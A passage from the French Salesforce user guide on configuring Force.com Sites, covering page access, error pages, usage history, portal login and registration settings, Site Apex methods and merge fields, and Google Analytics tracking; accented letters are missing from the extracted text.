desquelles vous pouvez accder au site. Les sites Force.com ignorent les restrictions de plage IP l'chelle de l'entreprise
afin d'offrir un accs public. Vous pouvez toutefois restreindre la plage IP ici.
Remarque: Pour utiliser les restrictions IP, le protocole HTTPS est requis. Vous devez utiliser l'URL scurise
associe votre domaine Force.com pour accder votre site.

Cliquez sur Modifier dans la liste associe Accs aux classes Apex afin de slectionner des contrleurs et mthodes
Apex pour votre site. Les contrleurs et mthodes sont dj associs aux pages Visualforce actives par dfaut de votre
site.
Cliquez sur Modifier dans la liste associe Accs la page Visualforce activ afin de slectionner des pages Visualforce
pour votre site. Les modifications apportes ici ne sont pas appliques la liste associe Pages Visualforce du site dans
la page Dtails sur le site, et inversement.

Voir aussi :
Prsentation des sites Force.com
Configuration de sites Force.com
Configuration des sites Force.com
Mthodes et expressions Apex associes des sites Force.com
Dfinition du modle de partage par dfaut l'chelle de votre entreprise

Sites Force.com

Guide de l'utilisateur | Gestion des pages Visualforce de sites Force.com | 1415

Gestion des pages Visualforce de sites Force.com

Disponible avec : Developer Edition, Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Pour crer et modifier des sites Force.com :

Personnaliser l'application

Les sites Force.com utilisent des pages Visualforce pour toutes les pages de site et d'erreur. Les exemples de pages d'erreur
utilisent la ressource statique SiteSamples pour leur feuille de style et leurs images. Si vous renommez ou supprimez SiteSamples,
vous obtenez une erreur.
Toutes les pages que vous souhaitez exposer dans un site doivent tre associes ce site. Si une page n'est pas rpertorie sous
Pages Visualforce du site, une erreur d'authentification ou de page introuvable s'affiche, selon l'existence de la page.
Pour activer les pages Visualforce de votre site :
1.
2.
3.
4.
5.

Cliquez sur Configuration Dvelopper Sites.

Cliquez sur le nom du site que vous souhaitez modifier.
Cliquez sur Modifier dans la liste associe Pages Visualforce du site.
Utilisez les boutons Ajouter et Supprimer afin d'activer ou de dsactiver les pages Visualforce pour votre site.
Cliquez sur Enregistrer.
Remarque: Si vous slectionnez une page Visualforce pour un champ de recherche de la page Dtail sur le site, une
page d'erreur ou la Page Modifier le mot de passe sous les paramtres de connexion, cette page est
automatiquement active pour votre site. Si vous supprimez une page de la liste et qu'elle reste slectionne dans l'un
de ces emplacements, les utilisateurs publics peuvent y accder. Pour supprimer compltement des pages de votre site,
dsactivez-les ici et assurez-vous qu'elles ne sont pas slectionnes dans un champ de recherche pour votre site.

Voir aussi :
Prsentation des sites Force.com
Configuration de sites Force.com
Configuration des sites Force.com
Gestion des pages standard de sites Force.com
Attribution de pages d'erreur aux sites Force.com
Qu'est-ce qu'une ressource statique ?

Sites Force.com

Guide de l'utilisateur | Gestion des pages standard de sites Force.com | 1416

Gestion des pages standard de sites Force.com

Disponible avec : Developer Edition, Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Pour crer et modifier des sites Force.com :

Personnaliser l'application

Les sites Force.com utilisent des pages Visualforce pour toutes les pages de site et d'erreur. Vous pouvez galement utiliser
quelques pages standard fournies par Force.com.
Toutes les pages que vous souhaitez exposer dans un site doivent tre actives pour ce site. Si une page n'est pas rpertorie
sous Pages standard du site, Salesforce.com affiche une erreur d'autorisation requise.
Pour contrler les pages standard que les utilisateurs peuvent visualiser sur votre site :
1.
2.
3.
4.

Cliquez sur Configuration Dvelopper Sites.

Cliquez sur le nom du site que vous souhaitez visualiser.
Cliquez sur Modifier dans la liste associe Pages standard du site.
Utilisez les boutons Ajouter et Supprimer afin d'activer ou de dsactiver les pages standard suivantes pour votre site :

Page d'accueil : page standard associe l'onglet Accueil (/home/home.jsp).

Pages Ides : pages standard associes aux ides. Si vous souhaitez utiliser les pages ides standard (par exemple,
Accueil_Ides), modifiez ces pages.
Pages de recherche : pages de recherche standard de Salesforce.com. Pour autoriser les utilisateurs publics effectuer
des recherches standard, activez ces pages.
Pages de recherche : pages de recherche standard de Salesforce.com. Elles correspondent des fentres de recherche
contextuelles avec des champs de recherche dans des pages Visualforce.

5. Cliquez sur Enregistrer.

Remarque: Assurez-vous de dsactiver toutes les pages que vous n'utilisez pas dans votre site. Sinon, elles pourraient
tre accessibles aux utilisateurs publics. Assurez-vous galement de configurer le partage priv afin de restreindre l'accs
en recherche pour les utilisateurs publics.

Voir aussi :
Prsentation des sites Force.com
Configuration de sites Force.com
Configuration des sites Force.com
Gestion des pages Visualforce de sites Force.com
Attribution de pages d'erreur aux sites Force.com

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Guide de l'utilisateur | Attribution de pages d'erreur aux sites Force.com | 1417

Attribution de pages d'erreur aux sites Force.com

Disponible avec : Developer Edition, Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Pour crer et modifier des sites Force.com :

Personnaliser l'application

Les sites Force.com utilisent des pages Visualforce pour toutes les pages de site et d'erreur. Les exemples de pages d'erreur
utilisent la ressource statique SiteSamples pour leur feuille de style et leurs images. Si vous renommez ou supprimez SiteSamples,
vous obtenez une erreur.
Pour dfinir les pages d'erreur pour votre site :
1.
2.
3.
4.

Cliquez sur Configuration Dvelopper Sites.

Cliquez sur le nom du site que vous souhaitez modifier.
Cliquez sur Attribution de page dans la liste associe Pages d'erreur.
l'aide de champs de recherche, attribuez des pages Visualforce ou la ressource statique chaque condition d'erreur
standard indique :

Page Autorisation requise : page affiche lorsque des utilisateurs tentent d'accder des pages sans l'autorisation

approprie.

Page Limite dpasse : page affiche lorsque votre site a dpass sa limite de bande passante.
Page Maintenance : page affiche lorsque votre site est ferm pour maintenance.
Page Service non disponible : page qui s'affiche pour les utilisateurs lorsque les serveurs Salesforce.com ne

sont pas disponibles. Cette page personnalise est rendue partir d'une ressource statique de votre choix. La ressource
statique est tlcharge dans le serveur cache lors de son attribution en tant que page Service non disponible et lors de
sa mise jour suite l'attribution. La page personnalise est affiche uniquement pour les requtes HTTP ; la mise en
cache n'est pas utilise pour HTTPS. Elle n'est pas disponible pour Developer Edition ou les organisations de test
sandbox.
Remarque: La ressource statique :
-

doit tre un fichier zip public ne dpassant pas 1 Mo ;

doit contenir une page nomme maintenance.html au niveau racine du fichier zip. Les autres ressources
du fichier zip, telles que les images ou les fichiers CSS, peuvent respecter n'importe quelle arborescence.

Page Page introuvable : page affiche lorsque des utilisateurs tentent d'accder une page impossible localiser.
Page Erreur gnrique : page affiche lorsque des exceptions gnriques sont dtectes.

5. Cliquez sur Enregistrer.

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Guide de l'utilisateur | Affichage de l'historique d'utilisation du site sur 24 heures | 1418

6. Dans la page Dtails sur le site, cliquez sur Aperu pour visualiser la page associe telle qu'elle se prsente dans un navigateur.

Voir aussi :
Prsentation des sites Force.com
Configuration de sites Force.com
Configuration des sites Force.com
Gestion des pages Visualforce de sites Force.com
Gestion des pages standard de sites Force.com

Affichage de l'historique d'utilisation du site sur 24 heures

Disponible avec : Developer Edition, Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Pour crer et modifier des sites Force.com :

Personnaliser l'application

Surveillez la bande passante et les heures de demande quotidiennes de chacun de vos sites en affichant les donnes d'utilisation
consignes dans cette liste associe. En surveillant de prs vos sites, vous pouvez viter de dpasser vos limites.
Pour afficher l'historique d'utilisation de votre site sur 24 heures :
1. Cliquez sur Configuration Dvelopper Sites.
2. Cliquez sur le nom du site que vous souhaitez visualiser.
3. Affichez la liste associe Historique d'utilisation sur 24 heures. Les informations sur l'utilisation peuvent tre retardes de
plusieurs minutes par les dlais de traitement.
La liste Historique d'utilisation sur 24 heures consigne et affiche les donnes d'utilisation de votre site :

Bande passante d'origine : la bande passante est calcule en fonction du nombre de mgaoctets envoys et reus depuis le
serveur d'origine du site. Le Limite quotidienne s'applique une priode de 24 heures.
Dlai de demande : Le Dlai de demande de service est calcul en fonction du dlai serveur total (en minutes) requis
pour gnrer les pages du site. Le Limite quotidienne s'applique une priode de 24 heures.

Le Serveur d'origine correspond au serveur Web qui hberge votre site. La Dernire priode de 24 heures correspond
aux 24 heures prcdant l'heure courante.

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Guide de l'utilisateur | Affichage de l'historique du site Force.com | 1419

Pour chaque mesure, la liste associe affiche l'Utilisation actuelle, la Limite quotidienne et le Pourcentage
utilis.

Voir aussi :
Prsentation des sites Force.com
Observations sur les sites Force.com
Configuration de sites Force.com
Configuration des sites Force.com
Suivi de votre site l'aide Google Analytics
Gnration de rapports sur les sites Force.com

Affichage de l'historique du site Force.com

Disponible avec : Developer Edition, Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Pour crer et modifier des sites Force.com :

Personnaliser l'application

Pour afficher l'historique de sites :

1. Cliquez sur Configuration Dvelopper Sites.
2. Cliquez sur le nom du site que vous souhaitez visualiser.
3. Affichez la liste associe Historique du site.
La liste associe Historique du site consigne et affiche les modifications apportes votre site. Tous les vnements ci-dessous
sont consigns dans l'historique du site, avec le nom de l'utilisateur ayant modifi le site et l'heure de la modification :
vnement

Description

Cration du site

Enregistre la date de cration de chaque site

Modifications des dtails sur le site

Enregistre les modifications apportes aux valeurs du site

suivantes :
Etiquette du site
Nom du site
Description du site
Contact du site
Adresse Web par dfaut
Adresse Web personnalise
Statut actif
Page d'accueil du site actif
Page d'accueil du site inactif
Modle de site

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Guide de l'utilisateur | Gestion des paramtres de connexion et d'inscription aux sites Force.com | 1420

vnement

Description

Robots.txt du site
Icne de favori d'un site
Code de suivi Analytics
Activer les fils

Pages standard du site

Enregistre l'activation ou la dsactivation de toute page

standard du site.

Pages d'erreur du site

Enregistre toute modification dans l'attribution de pages

d'erreur.

Modifications des paramtres de connexion

Enregistre les modifications apportes aux paramtres de

connexion suivants :
Portail
Page de modification du mot de passe
Requiert une connexion non scurise (HTTP)

Voir aussi :
Prsentation des sites Force.com
Configuration de sites Force.com
Configuration des sites Force.com

Gestion des paramtres de connexion et d'inscription aux

sites Force.com
Disponible avec : Developer Edition, Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Pour crer et modifier des sites Force.com :

Personnaliser l'application

Utilisez les paramtres de connexion pour permettre aux utilisateurs de s'inscrire et de se connecter votre portail partir de
votre site Force.com public. Par exemple, les utilisateurs qui naviguent sur un site Ides peuvent s'inscrire et se connecter
directement depuis ce site. De plus, en tant qu'utilisateurs authentifis, ils peuvent voter, ajouter des commentaires et participer
au sein de la communaut Ides. Lorsque les utilisateurs se connectent avec succs, ils quittent le site public et entrent dans le
portail associ de faon transparente.
Remarque: Seuls les portails clients peuvent tre utiliss pour l'auto-inscription. Les portails partenaires ne prennent
pas en charge l'auto-inscription.

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Guide de l'utilisateur | Gestion des paramtres de connexion et d'inscription aux sites Force.com | 1421

Les sites Force.com fournissent une logique intgre d'inscription et de connexion. Les pages Visualforce par dfaut dans
Force.com sont associes des processus d'inscription, de connexion, d'oubli de mot de passe et de modification de mot de
passe. Vous pouvez modifier ces pages ou les remplacer par vos propres pages.
Les pages de connexion et d'inscription par dfaut suivantes sont fournies :
Nom de la page

Description

SiteLogin

Page de connexion par dfaut. Permet de connecter les

utilisateurs au portail associ depuis votre site Force.com.

SiteRegister

Page d'inscription par dfaut. Permet d'inscrire les nouveaux

utilisateurs au Portail client associ depuis votre site Force.com.

SiteRegisterConfirm

Page de confirmation de l'inscription par dfaut. Page affiche

une fois les utilisateurs inscrits avec succs au Portail client
associ.

Remarque: Les formulaires de connexion et d'inscription doivent tre scuriss. Dfinissez l'attribut forceSSL
true pour ces formulaires. Salesforce.com recommande toutefois de dfinir forceSSL false pour les formulaires
auxquels accdent des utilisateurs dj authentifis, par exemple les utilisateurs du portail. Comme l'attribut forceSSL
excute une redirection vers une URL scurise, les utilisateurs dj authentifis rencontreraient une erreur.
Le processus de connexion intgr :

vrifie que le site est activ pour les connexions ;

vrifie que l'utilisateur est valide pour le site ;
autorise les utilisateurs rinitialiser les mots de passe expirs.

Le processus d'inscription intgr :

compare les informations sur le nouvel utilisateur celles sur les utilisateurs existants du Portail client associ au site ;
vrifie si un contact existe dj pour le nouvel utilisateur ;
cre un nouveau contact, si aucun n'existe, puis l'associe au compte pour le site.
Important: Vous devez mettre jour SiteRegisterController avec l'ID du compte en procdant comme suit :
1. Cliquez sur Configuration Dvelopper Classes Apex.
2. Cliquez sur Modifier en regard de SiteRegisterController.
3. Allez la ligne private static Id PORTAL_ACCOUNT_ID = '<Account_ID>';, puis insrez l'ID
du compte que vous souhaitez associer aux nouveaux utilisateurs. La ligne doit se prsenter comme suit :
private static Id PORTAL_ACCOUNT_ID = '001DoooooolQpyk';

4. Cliquez sur Enregistrer.

Active le Portail client pour le nouvel utilisateur, puis envoie un e-mail de confirmation
Vous pouvez galement autoriser les utilisateurs crer des mots de passe dans la page d'inscription afin d'viter le processus
standard d'e-mail de confirmation

Pour activer la connexion et l'inscription publiques pour votre portail :

1. Cliquez sur Configuration Dvelopper Sites.

Sites Force.com

2.
3.
4.
5.

Guide de l'utilisateur | Gestion des paramtres de connexion et d'inscription aux sites Force.com | 1422

Cliquez sur le nom du site que vous souhaitez contrler.

Cliquez sur Paramtres de connexion.
Cliquez sur Modifier.
Dans la liste Activer la connexion pour, slectionnez un portail associer votre site. Le portail que vous slectionnez doit
avoir l'option Connexion active slectionne. Pour les Portails clients, vous devez galement activer l'option
Auto-inscription active. Les sites Force.com exploitent les paramtres de portail suivants :

URL de dconnexion permet de diriger les utilisateurs vers une page spcifique lors de la dconnexion. Si cette
valeur reste vide, les utilisateurs sont dirigs vers la page spcifie dans le champ Page d'accueil du site actif

de votre site.

Modle de mot de passe perdu est utilis par le processus d'oubli de mot de passe.
En-tte, Pied de page, Logo et Message de connexion sont utiliss pour l'apparence de la page IdeasHome.

Pour Portails Clients :

-

Modle de nouvel utilisateur est utilis lors de l'auto-inscription si aucun mot de passe n'est fourni.
Nouvelle licence utilisateur par dfaut, Nouveau rle de l'utilisateur par dfaut et
Nouveau profil utilisateur par dfaut sont utiliss pour l'auto-inscription.

6. Slectionnez une Page Modifier le mot de passe. Une page par dfaut est fournie, mais vous pouvez slectionner votre
propre page l'aide du champ de recherche.
7. Cochez la case Requiert une connexion non scurise (HTTP) si vous souhaitez ignorer les paramtres de
scurit de votre organisation et utiliser exclusivement le protocole HTTP lors de la connexion au portail depuis votre site.
Si cette case n'est pas coche, le paramtre Requiert une connexion scurise (HTTPS) dans Configuration
Commandes de scurit Paramtres de session est utilis pour dterminer le niveau de scurit.
Le tableau ci-dessous prsente les relations existant entre ces paramtres.
Scurit au niveau du site : Requiert Scurit au niveau de l'organisation : Description
une connexion non scurise (HTTP) Requiert une connexion scurise
(HTTPS)
Non coch

Non coch

Coch

Non coch

Non coch

Coch

L'organisation peut utiliser le

protocole HTTP ou HTTPS
Le site utilise le protocole HTTP
pour la session de post-connexion
L'organisation peut utiliser le
protocole HTTP ou HTTPS
Le site utilise le protocole HTTP
pour la session de post-connexion
L'organisation utilise uniquement
le protocole HTTPS
Le site utilise le protocole HTTPS
pour la session de post-connexion
Lors de la connexion, le domaine
secure.force.com s'affiche pour
les utilisateurs

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Guide de l'utilisateur | Gestion des paramtres de connexion et d'inscription aux sites Force.com | 1423

Scurit au niveau du site : Requiert Scurit au niveau de l'organisation : Description

une connexion non scurise (HTTP) Requiert une connexion scurise
(HTTPS)
Coch

Coch

L'organisation utilise uniquement

le protocole HTTPS
Le site utilise le protocole HTTP
pour la session de post-connexion

ATTENTION: Si la case Requiert une connexion scurise (HTTPS) est coche dans la page
Paramtres de session et que la case Requiert une connexion non scurise (HTTP) n'est pas coche
dans la page Paramtres de connexion, le domaine secure.force.com s'affiche pour les utilisateurs qui se
connectent au portail associ partir du site. Par exemple, si vous avez inscrit mycompany.force.com comme
votre domaine personnalis, l'URL change en https://mycompany.secure.force.com lors de la connexion.
Les clients qui utilisent la connexion unique pour se connecter des sites peuvent utiliser le paramtre d'URL
optionnel refURL afin de conserver le nom de domaine personnalis aprs la connexion. Ce paramtre n'a aucun
effet si Requiert une connexion non scurise (HTTP) a t dfini pour le site ou si Requiert une
connexion scurise (HTTPS) a t dfini pour l'organisation. Exemple d'URL utilisant refURL :
http://mysite.secure.force.com/SiteLogin?refURL=http://mysite.com.
8. Le champ Adresse Web scurise indique l'URL unique de Force.com de ce site lorsque le protocole SSL est utilis.
9. Cliquez sur Enregistrer.
Remarque: Dans Ides, un ou tous les portails de la liste droulante Portail doivent tre slectionns pour la
communaut associe au portail.

Voir aussi :
Prsentation des sites Force.com
Configuration de sites Force.com
Configuration des sites Force.com
Association d'un portail avec des sites Force.com
Mthodes et expressions Apex associes des sites Force.com
Configuration du portail Client

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Guide de l'utilisateur | Association d'un portail avec des sites Force.com | 1424

Association d'un portail avec des sites Force.com

Disponible avec : Developer Edition, Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Pour crer et modifier des sites Force.com :

Personnaliser l'application

Vous pouvez permettre aux utilisateurs de s'inscrire ou de se connecter de faon transparente un portail associ depuis votre
site.
Remarque: Seuls les portails clients peuvent tre utiliss pour l'auto-inscription. Les portails partenaires ne prennent
pas en charge l'auto-inscription.
1. Activez le portail pour la connexion en procdant comme suit :
a. Cliquez sur Configuration Personnalisation Portail client Paramtres ou cliquez surConfiguration
Personnalisation Partenaires Paramtres.
b. Si vous n'avez pas activ votre portail, slectionnez Activer Portail client ou Activer la gestion des
relations partenaires, puis cliquez sur Enregistrer.
c. Cliquez sur Modifier en regard du portail que vous souhaitez modifier.
d. Configurez le portail en procdant comme suit :
a. Cochez la case Connexion active.
b. Slectionnez un utilisateur pour le champ Administrateur.
c. Vous pouvez galement dfinir l'URL de dconnexion. Si cette URL n'est pas dfinie, les utilisateurs sont dirigs
vers la page d'accueil du site lors de la dconnexion.
d. Cliquez sur Enregistrer.
2. Si vous utilisez un Portail client et souhaitez autoriser l'auto-inscription, procdez comme suit :
a. Cliquez sur Configuration Personnalisation Portail Client Paramtres.
b. Cliquez sur Modifier pour le portail que vous souhaitez associer avec votre site Force.com.
c. Configurez le Portail client comme suit :
a. Slectionnez Auto-inscription active.
b. Slectionnez Utilisateur du portail client pour les champs Nouvelle licence utilisateur par dfaut et
Nouveau profil utilisateur par dfaut. En fonction de votre licence de portail, vous pouvez slectionner
un profil diffrent pour le champ Nouveau profil utilisateur par dfaut.
c. Slectionner un utilisateur pour le champ Nouveau rle de l'utilisateur par dfaut.
d. Cliquez sur Enregistrer.
3. Associez les pages du site aux utilisateurs du portail par dfaut en procdant comme suit :
a. Cliquez sur Configuration Personnalisation Portail client Paramtres ou cliquez surConfiguration
Personnalisation Partenaires Paramtres.

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Guide de l'utilisateur | Association d'un portail avec des sites Force.com | 1425

b. Cliquez sur le nom du portail que vous souhaitez associer votre site.
c. Cliquez sur le nom de chaque profil associ aux utilisateurs de votre portail, puis procdez comme suit :
a. Faites dfiler jusqu' la section Accs la page Visualforce active, puis cliquez sur Modifier.
b. Ajoutez les pages appropries du site public la liste Pages Visualforce actives. Les utilisateurs du portail
associs ce profil peuvent ainsi afficher ces pages.
Remarque: Par dfaut, les utilisateurs du portail peuvent afficher toutes les pages actives pour le site public
associ. Par consquent, il vous suffit d'activer les pages qui ncessitent une authentification.
c. Cliquez sur Enregistrer.
4. Associez votre site au portail activ par connexion en procdant come suit :
Cliquez sur Configuration Dvelopper Sites.
Cliquez sur l'tiquette du site que vous souhaitez configurer.
Cliquez sur Paramtres de connexion.
Cliquez sur Modifier.
Dans la liste droulante Activer la connexion pour, slectionnez le nom du portail pour lequel vous souhaitez
autoriser la connexion.
f. Slectionnez la Page Modifier le mot de passe.
g. Cliquez sur Enregistrer.
a.
b.
c.
d.
e.

Pou plus d'informations, reportez-vous Gestion des paramtres de connexion et d'inscription aux sites Force.com.
Remarque: Pour les sites Ides, vous devez associer la communaut un portail et activer la page IdeasHome pour le
site. Ideas n'est pas visible au public tant qu'un portail n'est pas associ cette communaut. Pour cela, procdez comme
suit :
1. Cliquez sur Configuration Personnalisation Ides Communauts.
2. Cliquez sur Modifier en regard de la communaut que vous souhaitez rendre public.
3. Dans la liste droulante Portail, slectionnez le portail utiliser pour cette communaut. Vous pouvez afficher
cette communaut dans tous les portails.

Voir aussi :
Prsentation des sites Force.com
Configuration de sites Force.com
Configuration des sites Force.com
Gestion des paramtres de connexion et d'inscription aux sites Force.com
Configuration du portail Client

Sites Force.com

Guide de l'utilisateur | Mthodes et expressions Apex associes des sites Force.com | 1426

Mthodes et expressions Apex associes des sites

Force.com
Disponible avec : Developer Edition, Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Pour crer et modifier des sites Force.com :

Personnaliser l'application

Mthodes Apex Force.com

Force.com fournit les mthodes Apex suivantes utiliser avec les sites Force.com :
Nom

Arguments

Type de renvoi

Description

changePassword

Chane newpassword

System.PageReference

Modifie le mot de passe de

l'utilisateur actuel.

ID

Cre un utilisateur du portail pour un

compte donn et l'associe au portail
du site. Notez que le champ
nickname est requis pour sObject de
l'utilisateur lorsque la mthode
createPortalUser est utilise.

Chane
verifynewpassword

Chane opt_oldpassword
createPortalUser

sObject user
Chane accountId
Chane opt_password

Remarque: Cette mthode

est valide uniquement
lorsqu'un site est associ un
portail client.
Boolen

Rinitialise le mot de passe de

l'utilisateur et lui envoie un e-mail
avec son nouveau mot de passe.
Renvoie une valeur indiquant si la
rinitialisation du mot de passe a
russi.

getAnalyticsTrackingCode

Chane

Code de suivi associ votre site. Ce

code peut tre utilis par des services
tels que Google Analytics pour suivre
les donnes de demande de pages
pour votre site.

getCurrentSiteUrl

Chane

Renvoie l'URL du site pour la requte

en cours (par exemple,
http://myco.com/ ou
https://myco.force.com/prefix/).

forgotPassword

Chane username

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Nom

Guide de l'utilisateur | Mthodes et expressions Apex associes des sites Force.com | 1427

Arguments

Type de renvoi

Description

getCustomWebAddress

Chane

Renvoie la valeur du champ Adresse

Web personnalise du site actuel.

getDomain

Chane

Renvoie le nom du domaine

Force.com de votre organisation.

getErrorDescription

Chane

En cas d'erreur, renvoie la description

de l'erreur de la page actuelle s'il s'agit
d'une page d'erreur dsigne pour le
site. Sinon, renvoie une chane vide.

getErrorMessage

Chane

En cas d'erreur, renvoie un message

d'erreur pour la page actuelle s'il s'agit
d'une page d'erreur dsigne pour le
site. Sinon, renvoie une chane vide.

getName

Chane

Renvoie le nom de l'API du site

actuel.

getOriginalUrl

Chane

Renvoie l'URL d'origine de cette page

s'il s'agit d'une page d'erreur dsigne
pour le site ; sinon, renvoie une chane
nulle

getPrefix

Chane

Renvoie le prfixe du chemin de

l'URL du site actuel. Par exemple, si
l'URL de votre site est
masociete.force.com/partenaires,
partenaires est le prfixe du

chemin. Renvoie null si le prfixe n'est

pas dfini ou si la page a t accde
l'aide d'une adresse Web
personnalise.
getTemplate

System.PageReference

Renvoie le nom du modle associ au

site actuel ; renvoie le modle par
dfaut si aucun modle n'a t
dsign.

isLoginEnabled

Boolen

Renvoie la valeur true si le site actuel

est associ un portail activ par
connexion actif ; sinon renvoie
false.

isPasswordExpired

Boolen

Pour les utilisateurs authentifis,

renvoie true si le mot de passe de
l'utilisateur actuellement connect a
expir. Renvoie faux pour les
utilisateurs non authentifis.

isRegistrationEnabled

Boolen

Renvoie la valeur true si le site actuel

est associ un portail client actif,
activ par auto-inscription ; sinon
renvoie false.

Sites Force.com

Guide de l'utilisateur | Mthodes et expressions Apex associes des sites Force.com | 1428

Nom

Arguments

Type de renvoi

Description

login

Chane username

System.PageReference

Permet aux utilisateurs de se

connecter au site actuel avec le nom
d'utilisateur et le mot de passe donns,
avant de les diriger vers l'URL de
dpart startUrl. Si startUrl n'est
pas un chemin relatif, elle pointe par
dfaut vers la page d'index dsigne
du site.

Chane password
Chane startUrl

Remarque: Ne pas inclure

http:// ou https:// dans
l'argument startURL.

Expressions associes aux sites Force.com

Force.com fournit galement les expressions suivantes utiliser dans les pages Visualforce, les modles d'e-mails et les commandes
s-controls :
Champ de fusion

Description

{!$Site.Name}

Renvoie le nom de l'API du site actuel.

{!$Site.Domain}

Renvoie le nom du domaine Force.com de votre organisation.

{!$Site.CustomWebAddress}

Renvoie la valeur du champ Adresse Web personnalise du site actuel.

{!$Site.OriginalUrl}

Renvoie l'URL d'origine de cette page s'il s'agit d'une page d'erreur dsigne
pour le site ; sinon, renvoie une chane nulle

{!$Site.CurrentSiteUrl}

Renvoie l'URL du site pour la requte en cours (par exemple,

http://myco.com/ ou https://myco.force.com/prefix/).

{!$Site.LoginEnabled}

Renvoie la valeur true si le site actuel est associ un portail activ par
connexion actif ; sinon renvoie false.

{!$Site.RegistrationEnabled}

Renvoie la valeur true si le site actuel est associ un portail client actif,
activ par auto-inscription ; sinon renvoie false.

{!$Site.IsPasswordExpired}

Pour les utilisateurs authentifis, renvoie true si le mot de passe de l'utilisateur

actuellement connect a expir. Renvoie faux pour les utilisateurs non
authentifis.

{!$Site.AdminEmailAddress}

Renvoie la valeur du champ Contact du site du site actuel.

{!$Site.Prefix}

Renvoie le prfixe du chemin de l'URL du site actuel. Par exemple, si l'URL

de votre site est masociete.force.com/partenaires, partenaires
est le prfixe du chemin. Renvoie null si le prfixe n'est pas dfini ou si la page
a t accde l'aide d'une adresse Web personnalise.

{!$Site.Template}

Renvoie le nom du modle associ au site actuel ; renvoie le modle par dfaut
si aucun modle n'a t dsign.

{!$Site.ErrorMessage}

En cas d'erreur, renvoie un message d'erreur pour la page actuelle s'il s'agit
d'une page d'erreur dsigne pour le site. Sinon, renvoie une chane vide.

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Guide de l'utilisateur | Suivi de votre site l'aide Google Analytics | 1429

Champ de fusion

Description

{!$Site.ErrorDescription}

En cas d'erreur, renvoie la description de l'erreur de la page actuelle s'il s'agit

d'une page d'erreur dsigne pour le site. Sinon, renvoie une chane vide.

{!$Site.AnalyticsTrackingCode}

Code de suivi associ votre site. Ce code peut tre utilis par des services
tels que Google Analytics pour suivre les donnes de demande de pages pour
votre site.

Remarque: Pour utiliser ces expressions, la fonctionnalit des sites Force.com doit tre active dans votre organisation.
Vous devez galement les utiliser dans le contexte de votre site public, sinon, une chane vide est renvoye pour toutes
les expressions, l'exception de {!$Site.Template} qui renvoie le modle par dfaut du site.

Voir aussi :
Prsentation des sites Force.com
Configuration de sites Force.com
Configuration des sites Force.com
Gestion des paramtres de connexion et d'inscription aux sites Force.com

Suivi de votre site l'aide Google Analytics

Disponible avec : Developer Edition, Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Pour crer et modifier des sites Force.com :

Personnaliser l'application

Les sites Force.com offrent une intgration prte l'emploi avec Google Analytics. Google Analytics permet de suivre l'utilisation
de vos sites et de ses pages, avec le nombre de visites, le nombre de vues de pages, la dure moyenne passe sur le site et
davantage.
Remarque: Le composant <site:googleAnalyticsTracking fonctionne uniquement avec les pages utilises
dans un site Force.com. Les sites doivent tre activs pour votre organisation et le champ Code de suivi
analytique doit tre renseign. Pour obtenir un code de suivi, accdez au site Web Google Analytics.
Pour suivre un site l'aide de Google Analytics :
1. Inscrivez-vous un compte Google Analytics.
2. Ajoutez un nouveau profil Google Analytics, puis saisissez le domaine ou l'URL complte du site que vous souhaitez suivre.
3. Copiez l'Identifiant de proprit Web depuis les informations de suivi de Google et collez-le dans le champ Code
de suivi Analytics de la page Modifier le site pour le site dont vous souhaitez effectuer le suivi. L'Identifiant de
proprit Web commence par les lettres UA suivies de vos numros de compte et de profil. Par exemple, UA-9049246-2.
4. Cliquez sur Enregistrer.

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Guide de l'utilisateur | Dfinition des fils de syndication | 1430

5. Pour suivre les pages Visualforce associes votre site, saisissez la balise suivante dans le modle de site de ces pages ou
dans les pages individuelles elles-mmes :
<site:googleAnalyticsTracking/>

Les pages qui ne contiennent pas cette balise et ne sont pas associes un modle de site contenant la balise, ne sont pas
suivies. Le modle de site par dfaut contient dj la balise afin de permettre le suivi des pages utilisant ce modle, y compris
certaines pages par dfaut.
Remarque: Google recommande d'ajouter le composant en bas de la page afin d'viter une augmentation du temps
de chargement de page.
6. Accdez au site Google Analytics et suivez les instructions pour terminer le processus. Une fois l'inscription effectue, la
publication des premiers rsultats de suivi dans Google Analytics peut prendre jusqu' 24 heures.
Conseil: Pour suivre sparment plusieurs sites, crez des profils spars l'aide des URL compltes des sites, puis
saisissez un identifiant de proprit Web diffrent dans le champ Code de suiviv Analytics pour chaque site.

Voir aussi :
Prsentation des sites Force.com
Gestion des sites Force.com
Cration et modification de sites Force.com
Affichage de l'historique d'utilisation du site sur 24 heures
Gnration de rapports sur les sites Force.com

Dfinition des fils de syndication

Disponible dans : Developer Edition, Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Crer, modifier ou supprimer une dfinition de fil :

Modifier toutes les donnes

S'abonner un fil

Aucune autorisation utilisateur spciale requise

Les Fils de syndication permettent aux utilisateurs de s'abonner aux modifications apportes aux sites Force.com et de recevoir
des mises jour dans des lecteurs de fil externes. En dfinissant simplement une requte SOQL et un mappage, vous pouvez
syndiquer les modifications apportes aux donnes publiques pour l'utilisateur final. Vous pouvez crer un ou plusieurs fils de
syndication pour les sites publics de votre organisation ou pour n'importe quelle page Visualforce. Le fil de syndication affiche
les enregistrements spcifis par une requte SOQL. Les utilisateurs peuvent s'abonner au fil et l'afficher lorsqu'ils visitent le
site ou la page.
Dfinissez un fil de syndication, comprenant les enregistrements renvoyer, et dfinissez les donnes d'enregistrements
afficher :

Sites Force.com

Guide de l'utilisateur | Dfinition des fils de syndication | 1431

Nom
Nom descriptif de ce fil, qui le distingue des autres fils que vous crez. Utilisez uniquement des lettres, des chiffres ou
le caractre de soulignement _. N'utilisez pas plus d'un caractre de soulignement par ligne.
Description
Dcrivez le fil. Par exemple, Prnom, nom et rgion du compte pour les dix derniers comptes crs ou modifis.
Requte
Requte SOQL qui dfinit quels enregistrements sont renvoys au fil de syndication. Pour assurer des performances
leves, les quelques limitations suivantes sont imposes la requte SOQL :

Si la requte SOQL ne spcifie aucune limite, le nombre d'enregistrements renvoys est limit 20.
Seuls les 20 premiers enregistrements sont renvoys, quelle que soit la spcification de la requte SOQL.
